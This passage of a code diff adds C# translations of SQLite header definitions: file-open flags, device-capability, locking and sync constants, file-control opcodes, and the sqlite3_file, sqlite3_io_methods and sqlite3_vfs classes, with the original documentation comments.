SQLITE_OPEN_MAIN_JOURNAL 0x00000800 /* VFS only */ + //#define SQLITE_OPEN_TEMP_JOURNAL 0x00001000 /* VFS only */ + //#define SQLITE_OPEN_SUBJOURNAL 0x00002000 /* VFS only */ + //#define SQLITE_OPEN_MASTER_JOURNAL 0x00004000 /* VFS only */ + //#define SQLITE_OPEN_NOMUTEX 0x00008000 /* Ok for sqlite3_open_v2() */ + //#define SQLITE_OPEN_FULLMUTEX 0x00010000 /* Ok for sqlite3_open_v2() */ + //#define SQLITE_OPEN_SHAREDCACHE 0x00020000 /* Ok for sqlite3_open_v2() */ + //#define SQLITE_OPEN_PRIVATECACHE 0x00040000 /* Ok for sqlite3_open_v2() */ + //#define SQLITE_OPEN_WAL 0x00080000 /* VFS only */ + + /* Reserved: 0x00F00000 */ + + public const int SQLITE_OPEN_READONLY = 0x00000001; + public const int SQLITE_OPEN_READWRITE = 0x00000002; + public const int SQLITE_OPEN_CREATE = 0x00000004; + public const int SQLITE_OPEN_DELETEONCLOSE = 0x00000008; + public const int SQLITE_OPEN_EXCLUSIVE = 0x00000010; + public const int SQLITE_OPEN_AUTOPROXY = 0x00000020; + public const int SQLITE_OPEN_URI = 0x00000040; + public const int SQLITE_OPEN_MAIN_DB = 0x00000100; + public const int SQLITE_OPEN_TEMP_DB = 0x00000200; + public const int SQLITE_OPEN_TRANSIENT_DB = 0x00000400; + public const int SQLITE_OPEN_MAIN_JOURNAL = 0x00000800; + public const int SQLITE_OPEN_TEMP_JOURNAL = 0x00001000; + public const int SQLITE_OPEN_SUBJOURNAL = 0x00002000; + public const int SQLITE_OPEN_MASTER_JOURNAL = 0x00004000; + public const int SQLITE_OPEN_NOMUTEX = 0x00008000; + public const int SQLITE_OPEN_FULLMUTEX = 0x00010000; + public const int SQLITE_OPEN_SHAREDCACHE = 0x00020000; + public const int SQLITE_OPEN_PRIVATECACHE = 0x00040000; + public const int SQLITE_OPEN_WAL = 0x00080000; + + /* + ** CAPI3REF: Device Characteristics + ** + ** The xDeviceCharacteristics method of the [sqlite3_io_methods] + ** object returns an integer which is a vector of the these + ** bit values expressing I/O characteristics of the mass storage + ** device that holds the file that the [sqlite3_io_methods] + ** refers to. + ** + ** The SQLITE_IOCAP_ATOMIC property means that all writes of + ** any size are atomic. The SQLITE_IOCAP_ATOMICnnn values + ** mean that writes of blocks that are nnn bytes in size and + ** are aligned to an address which is an integer multiple of + ** nnn are atomic. The SQLITE_IOCAP_SAFE_APPEND value means + ** that when data is appended to a file, the data is appended + ** first then the size of the file is extended, never the other + ** way around. The SQLITE_IOCAP_SEQUENTIAL property means that + ** information is written to disk in the same order as calls + ** to xWrite(). + */ + //#define SQLITE_IOCAP_ATOMIC 0x00000001 + //#define SQLITE_IOCAP_ATOMIC512 0x00000002 + //#define SQLITE_IOCAP_ATOMIC1K 0x00000004 + //#define SQLITE_IOCAP_ATOMIC2K 0x00000008 + //#define SQLITE_IOCAP_ATOMIC4K 0x00000010 + //#define SQLITE_IOCAP_ATOMIC8K 0x00000020 + //#define SQLITE_IOCAP_ATOMIC16K 0x00000040 + //#define SQLITE_IOCAP_ATOMIC32K 0x00000080 + //#define SQLITE_IOCAP_ATOMIC64K 0x00000100 + //#define SQLITE_IOCAP_SAFE_APPEND 0x00000200 + //#define SQLITE_IOCAP_SEQUENTIAL 0x00000400 + //#define SQLITE_IOCAP_UNDELETABLE_WHEN_OPEN 0x00000800 + const int SQLITE_IOCAP_ATOMIC = 0x00000001; + const int SQLITE_IOCAP_ATOMIC512 = 0x00000002; + const int SQLITE_IOCAP_ATOMIC1K = 0x00000004; + const int SQLITE_IOCAP_ATOMIC2K = 0x00000008; + const int SQLITE_IOCAP_ATOMIC4K = 0x00000010; + const int SQLITE_IOCAP_ATOMIC8K = 0x00000020; + const int SQLITE_IOCAP_ATOMIC16K = 0x00000040; + const int SQLITE_IOCAP_ATOMIC32K = 0x00000080; + const int SQLITE_IOCAP_ATOMIC64K = 0x00000100; + const int SQLITE_IOCAP_SAFE_APPEND = 0x00000200; + const int SQLITE_IOCAP_SEQUENTIAL = 0x00000400; + const int SQLITE_IOCAP_UNDELETABLE_WHEN_OPEN = 0x00000800; + + /* + ** CAPI3REF: File Locking Levels + ** + ** SQLite uses one of these integer values as the second + ** argument to calls it makes to the xLock() and xUnlock() methods + ** of an [sqlite3_io_methods] object. + */ + //#define SQLITE_LOCK_NONE 0 + //#define SQLITE_LOCK_SHARED 1 + //#define SQLITE_LOCK_RESERVED 2 + //#define SQLITE_LOCK_PENDING 3 + //#define SQLITE_LOCK_EXCLUSIVE 4 + const int SQLITE_LOCK_NONE = 0; + const int SQLITE_LOCK_SHARED = 1; + const int SQLITE_LOCK_RESERVED = 2; + const int SQLITE_LOCK_PENDING = 3; + const int SQLITE_LOCK_EXCLUSIVE = 4; + + /* + ** CAPI3REF: Synchronization Type Flags + ** + ** When SQLite invokes the xSync() method of an + ** [sqlite3_io_methods] object it uses a combination of + ** these integer values as the second argument. + ** + ** When the SQLITE_SYNC_DATAONLY flag is used, it means that the + ** sync operation only needs to flush data to mass storage. Inode + ** information need not be flushed. If the lower four bits of the flag + ** equal SQLITE_SYNC_NORMAL, that means to use normal fsync() semantics. + ** If the lower four bits equal SQLITE_SYNC_FULL, that means + ** to use Mac OS X style fullsync instead of fsync(). + ** + ** Do not confuse the SQLITE_SYNC_NORMAL and SQLITE_SYNC_FULL flags + ** with the [PRAGMA synchronous]=NORMAL and [PRAGMA synchronous]=FULL + ** settings. The [synchronous pragma] determines when calls to the + ** xSync VFS method occur and applies uniformly across all platforms. + ** The SQLITE_SYNC_NORMAL and SQLITE_SYNC_FULL flags determine how + ** energetic or rigorous or forceful the sync operations are and + ** only make a difference on Mac OSX for the default SQLite code. + ** (Third-party VFS implementations might also make the distinction + ** between SQLITE_SYNC_NORMAL and SQLITE_SYNC_FULL, but among the + ** operating systems natively supported by SQLite, only Mac OSX + ** cares about the difference.) + */ + //#define SQLITE_SYNC_NORMAL 0x00002 + //#define SQLITE_SYNC_FULL 0x00003 + //#define SQLITE_SYNC_DATAONLY 0x00010 + const int SQLITE_SYNC_NORMAL = 0x00002; + const int SQLITE_SYNC_FULL = 0x00003; + const int SQLITE_SYNC_DATAONLY = 0x00010; + + /* + ** CAPI3REF: OS Interface Open File Handle + ** + ** An [sqlite3_file] object represents an open file in the + ** [sqlite3_vfs | OS interface layer]. Individual OS interface + ** implementations will + ** want to subclass this object by appending additional fields + ** for their own use. The pMethods entry is a pointer to an + ** [sqlite3_io_methods] object that defines methods for performing + ** I/O operations on the open file. + */ + //typedef struct sqlite3_file sqlite3_file; + //struct sqlite3_file { + // const struct sqlite3_io_methods *pMethods; /* Methods for an open file */ + //}; + public partial class sqlite3_file + { + public sqlite3_io_methods pMethods;/* Must be first */ + } + + /* + ** CAPI3REF: OS Interface File Virtual Methods Object + ** + ** Every file opened by the [sqlite3_vfs.xOpen] method populates an + ** [sqlite3_file] object (or, more commonly, a subclass of the + ** [sqlite3_file] object) with a pointer to an instance of this object. + ** This object defines the methods used to perform various operations + ** against the open file represented by the [sqlite3_file] object. + ** + ** If the [sqlite3_vfs.xOpen] method sets the sqlite3_file.pMethods element + ** to a non-NULL pointer, then the sqlite3_io_methods.xClose method + ** may be invoked even if the [sqlite3_vfs.xOpen] reported that it failed. The + ** only way to prevent a call to xClose following a failed [sqlite3_vfs.xOpen] + ** is for the [sqlite3_vfs.xOpen] to set the sqlite3_file.pMethods element + ** to NULL. + ** + ** The flags argument to xSync may be one of [SQLITE_SYNC_NORMAL] or + ** [SQLITE_SYNC_FULL]. The first choice is the normal fsync(). + ** The second choice is a Mac OS X style fullsync. The [SQLITE_SYNC_DATAONLY] + ** flag may be ORed in to indicate that only the data of the file + ** and not its inode needs to be synced. + ** + ** The integer values to xLock() and xUnlock() are one of + **
    + **
  • [SQLITE_LOCK_NONE], + **
  • [SQLITE_LOCK_SHARED], + **
  • [SQLITE_LOCK_RESERVED], + **
  • [SQLITE_LOCK_PENDING], or + **
  • [SQLITE_LOCK_EXCLUSIVE]. + **
+ ** xLock() increases the lock. xUnlock() decreases the lock. + ** The xCheckReservedLock() method checks whether any database connection, + ** either in this process or in some other process, is holding a RESERVED, + ** PENDING, or EXCLUSIVE lock on the file. It returns true + ** if such a lock exists and false otherwise. + ** + ** The xFileControl() method is a generic interface that allows custom + ** VFS implementations to directly control an open file using the + ** [sqlite3_file_control()] interface. The second "op" argument is an + ** integer opcode. The third argument is a generic pointer intended to + ** point to a structure that may contain arguments or space in which to + ** write return values. Potential uses for xFileControl() might be + ** functions to enable blocking locks with timeouts, to change the + ** locking strategy (for example to use dot-file locks), to inquire + ** about the status of a lock, or to break stale locks. The SQLite + ** core reserves all opcodes less than 100 for its own use. + ** A [SQLITE_FCNTL_LOCKSTATE | list of opcodes] less than 100 is available. + ** Applications that define a custom xFileControl method should use opcodes + ** greater than 100 to avoid conflicts. VFS implementations should + ** return [SQLITE_NOTFOUND] for file control opcodes that they do not + ** recognize. + ** + ** The xSectorSize() method returns the sector size of the + ** device that underlies the file. The sector size is the + ** minimum write that can be performed without disturbing + ** other bytes in the file. The xDeviceCharacteristics() + ** method returns a bit vector describing behaviors of the + ** underlying device: + ** + **
    + **
  • [SQLITE_IOCAP_ATOMIC] + **
  • [SQLITE_IOCAP_ATOMIC512] + **
  • [SQLITE_IOCAP_ATOMIC1K] + **
  • [SQLITE_IOCAP_ATOMIC2K] + **
  • [SQLITE_IOCAP_ATOMIC4K] + **
  • [SQLITE_IOCAP_ATOMIC8K] + **
  • [SQLITE_IOCAP_ATOMIC16K] + **
  • [SQLITE_IOCAP_ATOMIC32K] + **
  • [SQLITE_IOCAP_ATOMIC64K] + **
  • [SQLITE_IOCAP_SAFE_APPEND] + **
  • [SQLITE_IOCAP_SEQUENTIAL] + **
+ ** + ** The SQLITE_IOCAP_ATOMIC property means that all writes of + ** any size are atomic. The SQLITE_IOCAP_ATOMICnnn values + ** mean that writes of blocks that are nnn bytes in size and + ** are aligned to an address which is an integer multiple of + ** nnn are atomic. The SQLITE_IOCAP_SAFE_APPEND value means + ** that when data is appended to a file, the data is appended + ** first then the size of the file is extended, never the other + ** way around. The SQLITE_IOCAP_SEQUENTIAL property means that + ** information is written to disk in the same order as calls + ** to xWrite(). + ** + ** If xRead() returns SQLITE_IOERR_SHORT_READ it must also fill + ** in the unread portions of the buffer with zeros. A VFS that + ** fails to zero-fill short reads might seem to work. However, + ** failure to zero-fill short reads will eventually lead to + ** database corruption. + */ + //typedef struct sqlite3_io_methods sqlite3_io_methods; + //struct sqlite3_io_methods { + // int iVersion; + // int (*xClose)(sqlite3_file); + // int (*xRead)(sqlite3_file*, void*, int iAmt, sqlite3_int64 iOfst); + // int (*xWrite)(sqlite3_file*, const void*, int iAmt, sqlite3_int64 iOfst); + // int (*xTruncate)(sqlite3_file*, sqlite3_int64 size); + // int (*xSync)(sqlite3_file*, int flags); + // int (*xFileSize)(sqlite3_file*, sqlite3_int64 *pSize); + // int (*xLock)(sqlite3_file*, int); + // int (*xUnlock)(sqlite3_file*, int); + // int (*xCheckReservedLock)(sqlite3_file*, int *pResOut); + // int (*xFileControl)(sqlite3_file*, int op, object *pArg); + // int (*xSectorSize)(sqlite3_file); + // int (*xDeviceCharacteristics)(sqlite3_file); + // /* Methods above are valid for version 1 */ + // int (*xShmMap)(sqlite3_file*, int iPg, int pgsz, int, object volatile*); + // int (*xShmLock)(sqlite3_file*, int offset, int n, int flags); + // void (*xShmBarrier)(sqlite3_file); + // int (*xShmUnmap)(sqlite3_file*, int deleteFlag); + // /* Methods above are valid for version 2 */ + // /* Additional methods may be added in future releases */ + //}; + public class sqlite3_io_methods + { + public int iVersion; + public dxClose xClose; + public dxRead xRead; + public dxWrite xWrite; + public dxTruncate xTruncate; + public dxSync xSync; + public dxFileSize xFileSize; + public dxLock xLock; + public dxUnlock xUnlock; + public dxCheckReservedLock xCheckReservedLock; + public dxFileControl xFileControl; + public dxSectorSize xSectorSize; + public dxDeviceCharacteristics xDeviceCharacteristics; + public dxShmMap xShmMap;//int (*xShmMap)(sqlite3_file*, int iPg, int pgsz, int, object volatile*); + public dxShmLock xShmLock;//int (*xShmLock)(sqlite3_file*, int offset, int n, int flags); + public dxShmBarrier xShmBarrier;//void (*xShmBarrier)(sqlite3_file); + public dxShmUnmap xShmUnmap;//int (*xShmUnmap)(sqlite3_file*, int deleteFlag); + /* Additional methods may be added in future releases */ + + public sqlite3_io_methods( int iVersion, + dxClose xClose, + dxRead xRead, + dxWrite xWrite, + dxTruncate xTruncate, + dxSync xSync, + dxFileSize xFileSize, + dxLock xLock, + dxUnlock xUnlock, + dxCheckReservedLock xCheckReservedLock, + dxFileControl xFileControl, + dxSectorSize xSectorSize, + dxDeviceCharacteristics xDeviceCharacteristics, + dxShmMap xShmMap, + dxShmLock xShmLock, + dxShmBarrier xShmBarrier, + dxShmUnmap xShmUnmap + ) + { + this.iVersion = iVersion; + this.xClose = xClose; + this.xRead = xRead; + this.xWrite = xWrite; + this.xTruncate = xTruncate; + this.xSync = xSync; + this.xFileSize = xFileSize; + this.xLock = xLock; + this.xUnlock = xUnlock; + this.xCheckReservedLock = xCheckReservedLock; + this.xFileControl = xFileControl; + this.xSectorSize = xSectorSize; + this.xDeviceCharacteristics = xDeviceCharacteristics; + this.xShmMap = xShmMap; + this.xShmLock = xShmLock; + this.xShmBarrier = xShmBarrier; + this.xShmUnmap = xShmUnmap; + } + } + + /* + ** CAPI3REF: Standard File Control Opcodes + ** + ** These integer constants are opcodes for the xFileControl method + ** of the [sqlite3_io_methods] object and for the [sqlite3_file_control()] + ** interface. + ** + ** The [SQLITE_FCNTL_LOCKSTATE] opcode is used for debugging. This + ** opcode causes the xFileControl method to write the current state of + ** the lock (one of [SQLITE_LOCK_NONE], [SQLITE_LOCK_SHARED], + ** [SQLITE_LOCK_RESERVED], [SQLITE_LOCK_PENDING], or [SQLITE_LOCK_EXCLUSIVE]) + ** into an integer that the pArg argument points to. This capability + ** is used during testing and only needs to be supported when SQLITE_TEST + ** is defined. + ** + ** The [SQLITE_FCNTL_SIZE_HINT] opcode is used by SQLite to give the VFS + ** layer a hint of how large the database file will grow to be during the + ** current transaction. This hint is not guaranteed to be accurate but it + ** is often close. The underlying VFS might choose to preallocate database + ** file space based on this hint in order to help writes to the database + ** file run faster. + ** + ** The [SQLITE_FCNTL_CHUNK_SIZE] opcode is used to request that the VFS + ** extends and truncates the database file in chunks of a size specified + ** by the user. The fourth argument to [sqlite3_file_control()] should + ** point to an integer (type int) containing the new chunk-size to use + ** for the nominated database. Allocating database file space in large + ** chunks (say 1MB at a time), may reduce file-system fragmentation and + ** improve performance on some systems. + ** + ** The [SQLITE_FCNTL_FILE_POINTER] opcode is used to obtain a pointer + ** to the [sqlite3_file] object associated with a particular database + ** connection. See the [sqlite3_file_control()] documentation for + ** additional information. + ** + ** ^(The [SQLITE_FCNTL_SYNC_OMITTED] opcode is generated internally by + ** SQLite and sent to all VFSes in place of a call to the xSync method + ** when the database connection has [PRAGMA synchronous] set to OFF.)^ + ** Some specialized VFSes need this signal in order to operate correctly + ** when [PRAGMA synchronous | PRAGMA synchronous=OFF] is set, but most + ** VFSes do not need this signal and should silently ignore this opcode. + ** Applications should not call [sqlite3_file_control()] with this + ** opcode as doing so may disrupt the operation of the specialized VFSes + ** that do require it. + */ + //#define SQLITE_FCNTL_LOCKSTATE 1 + //#define SQLITE_GET_LOCKPROXYFILE 2 + //#define SQLITE_SET_LOCKPROXYFILE 3 + //#define SQLITE_LAST_ERRNO 4 + //#define SQLITE_FCNTL_SIZE_HINT 5 + //#define SQLITE_FCNTL_CHUNK_SIZE 6 + //#define SQLITE_FCNTL_FILE_POINTER 7 + //#define SQLITE_FCNTL_SYNC_OMITTED 8 + + const int SQLITE_FCNTL_LOCKSTATE = 1; + const int SQLITE_GET_LOCKPROXYFILE = 2; + const int SQLITE_SET_LOCKPROXYFILE = 3; + const int SQLITE_LAST_ERRNO = 4; + const int SQLITE_FCNTL_SIZE_HINT = 5; + const int SQLITE_FCNTL_CHUNK_SIZE = 6; + const int SQLITE_FCNTL_FILE_POINTER = 7; + const int SQLITE_FCNTL_SYNC_OMITTED = 8; + + /* + ** CAPI3REF: Mutex Handle + ** + ** The mutex module within SQLite defines [sqlite3_mutex] to be an + ** abstract type for a mutex object. The SQLite core never looks + ** at the internal representation of an [sqlite3_mutex]. It only + ** deals with pointers to the [sqlite3_mutex] object. + ** + ** Mutexes are created using [sqlite3_mutex_alloc()]. + */ + //typedef struct sqlite3_mutex sqlite3_mutex; + + /* + ** CAPI3REF: OS Interface Object + ** + ** An instance of the sqlite3_vfs object defines the interface between + ** the SQLite core and the underlying operating system. The "vfs" + ** in the name of the object stands for "virtual file system". See + ** the [VFS | VFS documentation] for further information. + ** + ** The value of the iVersion field is initially 1 but may be larger in + ** future versions of SQLite. Additional fields may be appended to this + ** object when the iVersion value is increased. Note that the structure + ** of the sqlite3_vfs object changes in the transaction between + ** SQLite version 3.5.9 and 3.6.0 and yet the iVersion field was not + ** modified. + ** + ** The szOsFile field is the size of the subclassed [sqlite3_file] + ** structure used by this VFS. mxPathname is the maximum length of + ** a pathname in this VFS. + ** + ** Registered sqlite3_vfs objects are kept on a linked list formed by + ** the pNext pointer. The [sqlite3_vfs_register()] + ** and [sqlite3_vfs_unregister()] interfaces manage this list + ** in a thread-safe way. The [sqlite3_vfs_find()] interface + ** searches the list. Neither the application code nor the VFS + ** implementation should use the pNext pointer. + ** + ** The pNext field is the only field in the sqlite3_vfs + ** structure that SQLite will ever modify. SQLite will only access + ** or modify this field while holding a particular static mutex. + ** The application should never modify anything within the sqlite3_vfs + ** object once the object has been registered. + ** + ** The zName field holds the name of the VFS module. The name must + ** be unique across all VFS modules. + ** + ** [[sqlite3_vfs.xOpen] + ** ^SQLite guarantees that the zFilename parameter to xOpen + ** is either a NULL pointer or string obtained + ** from xFullPathname() with an optional suffix added. + ** ^If a suffix is added to the zFilename parameter, it will + ** consist of a single "-" character followed by no more than + ** 10 alphanumeric and/or "-" characters. + ** ^SQLite further guarantees that + ** the string will be valid and unchanged until xClose() is + ** called. Because of the previous sentence, + ** the [sqlite3_file] can safely store a pointer to the + ** filename if it needs to remember the filename for some reason. + ** If the zFilename parameter to xOpen is a NULL pointer then xOpen + ** must invent its own temporary name for the file. ^Whenever the + ** xFilename parameter is NULL it will also be the case that the + ** flags parameter will include [SQLITE_OPEN_DELETEONCLOSE]. + ** + ** The flags argument to xOpen() includes all bits set in + ** the flags argument to [sqlite3_open_v2()]. Or if [sqlite3_open()] + ** or [sqlite3_open16()] is used, then flags includes at least + ** [SQLITE_OPEN_READWRITE] | [SQLITE_OPEN_CREATE]. + ** If xOpen() opens a file read-only then it sets *pOutFlags to + ** include [SQLITE_OPEN_READONLY]. Other bits in *pOutFlags may be set. + ** + ** ^(SQLite will also add one of the following flags to the xOpen() + ** call, depending on the object being opened: + ** + **
    + **
  • [SQLITE_OPEN_MAIN_DB] + **
  • [SQLITE_OPEN_MAIN_JOURNAL] + **
  • [SQLITE_OPEN_TEMP_DB] + **
  • [SQLITE_OPEN_TEMP_JOURNAL] + **
  • [SQLITE_OPEN_TRANSIENT_DB] + **
  • [SQLITE_OPEN_SUBJOURNAL] + **
  • [SQLITE_OPEN_MASTER_JOURNAL] + **
  • [SQLITE_OPEN_WAL] + **
)^ + ** + ** The file I/O implementation can use the object type flags to + ** change the way it deals with files. For example, an application + ** that does not care about crash recovery or rollback might make + ** the open of a journal file a no-op. Writes to this journal would + ** also be no-ops, and any attempt to read the journal would return + ** SQLITE_IOERR. Or the implementation might recognize that a database + ** file will be doing page-aligned sector reads and writes in a random + ** order and set up its I/O subsystem accordingly. + ** + ** SQLite might also add one of the following flags to the xOpen method: + ** + **
    + **
  • [SQLITE_OPEN_DELETEONCLOSE] + **
  • [SQLITE_OPEN_EXCLUSIVE] + **
+ ** + ** The [SQLITE_OPEN_DELETEONCLOSE] flag means the file should be + ** deleted when it is closed. ^The [SQLITE_OPEN_DELETEONCLOSE] + ** will be set for TEMP databases and their journals, transient + ** databases, and subjournals. + ** + ** ^The [SQLITE_OPEN_EXCLUSIVE] flag is always used in conjunction + ** with the [SQLITE_OPEN_CREATE] flag, which are both directly + ** analogous to the O_EXCL and O_CREAT flags of the POSIX open() + ** API. The SQLITE_OPEN_EXCLUSIVE flag, when paired with the + ** SQLITE_OPEN_CREATE, is used to indicate that file should always + ** be created, and that it is an error if it already exists. + ** It is not used to indicate the file should be opened + ** for exclusive access. + ** + ** ^At least szOsFile bytes of memory are allocated by SQLite + ** to hold the [sqlite3_file] structure passed as the third + ** argument to xOpen. The xOpen method does not have to + ** allocate the structure; it should just fill it in. Note that + ** the xOpen method must set the sqlite3_file.pMethods to either + ** a valid [sqlite3_io_methods] object or to NULL. xOpen must do + ** this even if the open fails. SQLite expects that the sqlite3_file.pMethods + ** element will be valid after xOpen returns regardless of the success + ** or failure of the xOpen call. + ** + ** [[sqlite3_vfs.xAccess] + ** ^The flags argument to xAccess() may be [SQLITE_ACCESS_EXISTS] + ** to test for the existence of a file, or [SQLITE_ACCESS_READWRITE] to + ** test whether a file is readable and writable, or [SQLITE_ACCESS_READ] + ** to test whether a file is at least readable. The file can be a + ** directory. + ** + ** ^SQLite will always allocate at least mxPathname+1 bytes for the + ** output buffer xFullPathname. The exact size of the output buffer + ** is also passed as a parameter to both methods. If the output buffer + ** is not large enough, [SQLITE_CANTOPEN] should be returned. Since this is + ** handled as a fatal error by SQLite, vfs implementations should endeavor + ** to prevent this by setting mxPathname to a sufficiently large value. + ** + ** The xRandomness(), xSleep(), xCurrentTime(), and xCurrentTimeInt64() + ** interfaces are not strictly a part of the filesystem, but they are + ** included in the VFS structure for completeness. + ** The xRandomness() function attempts to return nBytes bytes + ** of good-quality randomness into zOut. The return value is + ** the actual number of bytes of randomness obtained. + ** The xSleep() method causes the calling thread to sleep for at + ** least the number of microseconds given. ^The xCurrentTime() + ** method returns a Julian Day Number for the current date and time as + ** a floating point value. + ** ^The xCurrentTimeInt64() method returns, as an integer, the Julian + ** Day Number multiplied by 86400000 (the number of milliseconds in + ** a 24-hour day). + ** ^SQLite will use the xCurrentTimeInt64() method to get the current + ** date and time if that method is available (if iVersion is 2 or + ** greater and the function pointer is not NULL) and will fall back + ** to xCurrentTime() if xCurrentTimeInt64() is unavailable. + ** + ** ^The xSetSystemCall(), xGetSystemCall(), and xNestSystemCall() interfaces + ** are not used by the SQLite core. These optional interfaces are provided + ** by some VFSes to facilitate testing of the VFS code. By overriding + ** system calls with functions under its control, a test program can + ** simulate faults and error conditions that would otherwise be difficult + ** or impossible to induce. The set of system calls that can be overridden + ** varies from one VFS to another, and from one version of the same VFS to the + ** next. Applications that use these interfaces must be prepared for any + ** or all of these interfaces to be NULL or for their behavior to change + ** from one release to the next. Applications must not attempt to access + ** any of these methods if the iVersion of the VFS is less than 3. + */ + //typedef struct sqlite3_vfs sqlite3_vfs; + //typedef void (*sqlite3_syscall_ptr)(void); + //struct sqlite3_vfs { + // int iVersion; /* Structure version number (currently 3) */ + // int szOsFile; /* Size of subclassed sqlite3_file */ + // int mxPathname; /* Maximum file pathname length */ + // sqlite3_vfs *pNext; /* Next registered VFS */ + // string zName; /* Name of this virtual file system */ + // void *pAppData; /* Pointer to application-specific data */ + // int (*xOpen)(sqlite3_vfs*, string zName, sqlite3_file*, + // int flags, int *pOutFlags); + // int (*xDelete)(sqlite3_vfs*, string zName, int syncDir); + // int (*xAccess)(sqlite3_vfs*, string zName, int flags, int *pResOut); + // int (*xFullPathname)(sqlite3_vfs*, string zName, int nOut, string zOut); + // void *(*xDlOpen)(sqlite3_vfs*, string zFilename); + // void (*xDlError)(sqlite3_vfs*, int nByte, string zErrMsg); + // void (*(*xDlSym)(sqlite3_vfs*,void*, string zSymbol))(void); + // void (*xDlClose)(sqlite3_vfs*, void); + // int (*xRandomness)(sqlite3_vfs*, int nByte, string zOut); + // int (*xSleep)(sqlite3_vfs*, int microseconds); + // int (*xCurrentTime)(sqlite3_vfs*, double); + // int (*xGetLastError)(sqlite3_vfs*, int, char ); + // /* + // ** The methods above are in version 1 of the sqlite_vfs object + // ** definition. Those that follow are added in version 2 or later + // */ + // int (*xCurrentTimeInt64)(sqlite3_vfs*, sqlite3_int64); + // /* + // ** The methods above are in versions 1 and 2 of the sqlite_vfs object. + // ** New fields may be appended in figure versions. The iVersion + // ** value will increment whenever this happens. + // */ + //}; + public class sqlite3_vfs + { + public int iVersion; /* Structure version number (currently 3) */ + public int szOsFile; /* Size of subclassed sqlite3_file */ + public int mxPathname; /* Maximum file pathname length */ + public sqlite3_vfs pNext; /* Next registered VFS */ + public string zName; /* Name of this virtual file system */ + public object pAppData; /* Pointer to application-specific data */ + public dxOpen xOpen; + public dxDelete xDelete; + public dxAccess xAccess; + public dxFullPathname xFullPathname; + public dxDlOpen xDlOpen; + public dxDlError xDlError; + public dxDlSym xDlSym; + public dxDlClose xDlClose; + public dxRandomness xRandomness; + public dxSleep xSleep; + public dxCurrentTime xCurrentTime; + public dxGetLastError xGetLastError; + /* + ** The methods above are in version 1 of the sqlite_vfs object + ** definition. Those that follow are added in version 2 or later + */ + public dxCurrentTimeInt64 xCurrentTimeInt64; + /* + ** The methods above are in versions 1 and 2 of the sqlite_vfs object. + ** Those below are for version 3 and greater. + */ + //int (*xSetSystemCall)(sqlite3_vfs*, string zName, sqlite3_syscall_ptr); + public dxSetSystemCall xSetSystemCall; + //sqlite3_syscall_ptr (*xGetSystemCall)(sqlite3_vfs*, string zName); + public dxGetSystemCall xGetSystemCall; + //string (*xNextSystemCall)(sqlite3_vfs*, string zName); + public dxNextSystemCall xNextSystemCall; + /* + ** The methods above are in versions 1 through 3 of the sqlite_vfs object. + ** New fields may be appended in figure versions. The iVersion + ** value will increment whenever this happens. + */ + /* New fields may be appended in figure versions. The iVersion + ** value will increment whenever this happens. */ + + public sqlite3_vfs() + { + } + + public sqlite3_vfs( int iVersion, + int szOsFile, + int mxPathname, + sqlite3_vfs pNext, + string zName, + object pAppData, + dxOpen xOpen, + dxDelete xDelete, + dxAccess xAccess, + dxFullPathname xFullPathname, + dxDlOpen xDlOpen, + dxDlError xDlError, + dxDlSym xDlSym, + dxDlClose xDlClose, + dxRandomness xRandomness, + dxSleep xSleep, + dxCurrentTime xCurrentTime, + dxGetLastError xGetLastError, + dxCurrentTimeInt64 xCurrentTimeInt64, + dxSetSystemCall xSetSystemCall, + dxGetSystemCall xGetSystemCall, + dxNextSystemCall xNextSystemCall) + { + this.iVersion = iVersion; + this.szOsFile = szOsFile; + this.mxPathname = mxPathname; + this.pNext = pNext; + this.zName = zName; + this.pAppData = pAppData; + this.xOpen = xOpen; + this.xDelete = xDelete; + this.xAccess = xAccess; + this.xFullPathname = xFullPathname; + this.xDlOpen = xDlOpen; + this.xDlError = xDlError; + this.xDlSym = xDlSym; + this.xDlClose = xDlClose; + this.xRandomness = xRandomness; + this.xSleep = xSleep; + this.xCurrentTime = xCurrentTime; + this.xGetLastError = xGetLastError; + this.xCurrentTimeInt64 = xCurrentTimeInt64; + } + public void CopyTo(sqlite3_vfs ct) + { + ct.iVersion = this.iVersion; + ct.szOsFile = this.szOsFile; + ct.mxPathname = this.mxPathname; + ct.pNext = this.pNext; + ct.zName = this.zName; + ct.pAppData = this.pAppData; + ct.xOpen = this.xOpen; + ct.xDelete = this.xDelete; + ct.xAccess = this.xAccess; + ct.xFullPathname = this.xFullPathname; + ct.xDlOpen = this.xDlOpen; + ct.xDlError = this.xDlError; + ct.xDlSym = this.xDlSym; + ct.xDlClose = this.xDlClose; + ct.xRandomness = this.xRandomness; + ct.xSleep = this.xSleep; + ct.xCurrentTime = this.xCurrentTime; + ct.xGetLastError = this.xGetLastError; + ct.xCurrentTimeInt64 = this.xCurrentTimeInt64; + } + } + + + /* + ** CAPI3REF: Flags for the xAccess VFS method + ** + ** These integer constants can be used as the third parameter to + ** the xAccess method of an [sqlite3_vfs] object. They determine + ** what kind of permissions the xAccess method is looking for. + ** With SQLITE_ACCESS_EXISTS, the xAccess method + ** simply checks whether the file exists. + ** With SQLITE_ACCESS_READWRITE, the xAccess method + ** checks whether the named directory is both readable and writable + ** (in other words, if files can be added, removed, and renamed within + ** the directory). + ** The SQLITE_ACCESS_READWRITE constant is currently used only by the + ** [temp_store_directory pragma], though this could change in a future + ** release of SQLite. + ** With SQLITE_ACCESS_READ, the xAccess method + ** checks whether the file is readable. The SQLITE_ACCESS_READ constant is + ** currently unused, though it might be used in a future release of + ** SQLite. + */ + //#define SQLITE_ACCESS_EXISTS 0 + //#define SQLITE_ACCESS_READWRITE 1 /* Used by PRAGMA temp_store_directory */ + //#define SQLITE_ACCESS_READ 2 /* Unused */ + const int SQLITE_ACCESS_EXISTS = 0; + const int SQLITE_ACCESS_READWRITE = 1; + const int SQLITE_ACCESS_READ = 2; + + + /* + ** CAPI3REF: Flags for the xShmLock VFS method + ** + ** These integer constants define the various locking operations + ** allowed by the xShmLock method of [sqlite3_io_methods]. The + ** following are the only legal combinations of flags to the + ** xShmLock method: + ** + **
    + **
  • SQLITE_SHM_LOCK | SQLITE_SHM_SHARED + **
  • SQLITE_SHM_LOCK | SQLITE_SHM_EXCLUSIVE + **
  • SQLITE_SHM_UNLOCK | SQLITE_SHM_SHARED + **
  • SQLITE_SHM_UNLOCK | SQLITE_SHM_EXCLUSIVE + **
